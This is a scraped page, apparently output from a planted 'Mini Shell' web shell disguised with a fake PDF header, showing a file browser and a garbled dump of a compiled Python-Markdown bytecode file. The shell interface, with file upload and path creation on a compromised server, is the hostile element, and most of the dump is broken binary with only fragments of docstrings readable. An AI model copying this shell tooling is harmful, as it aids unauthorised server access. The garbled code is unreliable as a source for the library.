%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/markdown/extensions/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/markdown/extensions/__pycache__/__init__.cpython-312.pyc

�

���e���\�dZddlmZddlmZmZmZmZddlm	Z	erddl
mZGd�d�Zy	)
a�
Markdown accepts an [`Extension`][markdown.extensions.Extension] instance for each extension. Therefore, each extension
must to define a class that extends [`Extension`][markdown.extensions.Extension] and over-rides the
[`extendMarkdown`][markdown.extensions.Extension.extendMarkdown] method. Within this class one can manage configuration
options for their extension and attach the various processors and patterns which make up an extension to the
[`Markdown`][markdown.Markdown] instance.
�)�annotations)�
TYPE_CHECKING�Any�Iterable�Mapping�)�parseBoolValue)�Markdownc�Z�eZdZUdZiZded<	d�Zdd
d�Zdd�Zdd�Z	dd�Z
dd	�Zdd
�Zy)�	Extensionz( Base class for extensions to subclass. zMapping[str, list]�configc�&�|j|�y)z( Initiate Extension and set up configs. N)�
setConfigs)�self�kwargss  �>/usr/lib/python3/dist-packages/markdown/extensions/__init__.py�__init__zExtension.__init__8s�������c�F�||jvr|j|dS|S)a
        Return a single configuration option value.

        Arguments:
            key: The configuration option name.
            default: Default value to return if key is not set.

        Returns:
            Value of stored configuration option.
        r)r
)r�key�defaults   r�	getConfigzExtension.getConfig<s)���$�+�+���;�;�s�#�A�&�&��Nrc�|�|jj�D�cic]}||j|���c}Scc}w)zl
        Return all configuration options.

        Returns:
            All configuration options.
        )r
�keysr�rrs  r�
getConfigszExtension.getConfigsLs3��59�K�K�4D�4D�4F�G�S��T�^�^�C�(�(�G�G��Gs�9c��|jj�D�cgc]}||j|df��c}Scc}w)z�
        Return descriptions of all configuration options.

        Returns:
            All descriptions of configuration options.
        �)r
rrs  r�
getConfigInfozExtension.getConfigInfoUs8��7;�k�k�6F�6F�6H�I�s��d�k�k�#�&�q�)�*�I�I��Is�;c��t|j|dt�rt|�}|j|d�
t|d��}||j|d<y)a�
        Set a configuration option.

        If the corresponding default value set in [`config`][markdown.extensions.Extension.config]
        is a `bool` value or `None`, then `value` is passed through
        [`parseBoolValue`][markdown.util.parseBoolValue] before being stored.

        Arguments:
            key: Name of configuration option to set.
            value: Value to assign to option.

        Raises:
            KeyError: If `key` is not known.
        rNT)�
preserve_none)�
isinstancer
�boolr	)rr�values   r�	setConfigzExtension.setConfig^sY���d�k�k�#�&�q�)�4�0�"�5�)�E��;�;�s��A��&�"�5��=�E�#����C���rc�t�t|d�r|j�}|D]\}}|j||��y)a
        Loop through a collection of configuration options, passing each to
        [`setConfig`][markdown.extensions.Extension.setConfig].

        Arguments:
            items: Collection of configuration options.

        Raises:
            KeyError: for any unknown key.
        �itemsN)�hasattrr'r%)rr'rr$s    rrzExtension.setConfigsss:���5�'�"��K�K�M�E��	'�J�C���N�N�3��&�	'rc�v�td|jj�d|jj�d���)z�
        Add the various processors and patterns to the Markdown Instance.

        This method must be overridden by every extension.

        Arguments:
            md: The Markdown instance.

        zExtension "�.z(" must define an "extendMarkdown"method.)�NotImplementedError�	__class__�
__module__�__name__)r�mds  r�extendMarkdownzExtension.extendMarkdown�s0��"����2�2�D�N�N�4K�4K�
M�
�	
rN)�)r�strrr�returnr)r3zdict[str, Any])r3zlist[tuple[str, str]])rr2r$rr3�None)r'z-Mapping[str, Any] | Iterable[tuple[str, Any]]r3r4)r/r
r3r4)
r.r-�__qualname__�__doc__r
�__annotations__rrrrr%rr0�rrrr%s:��2�!#�F��#�
� �� H�J�$�*'�"

rrN)
r6�
__future__r�typingrrrr�utilr	�markdownr
rr8rr�<module>r=s*��(�#�8�8�!��!�l
�l
r

Zerion Mini Shell 1.0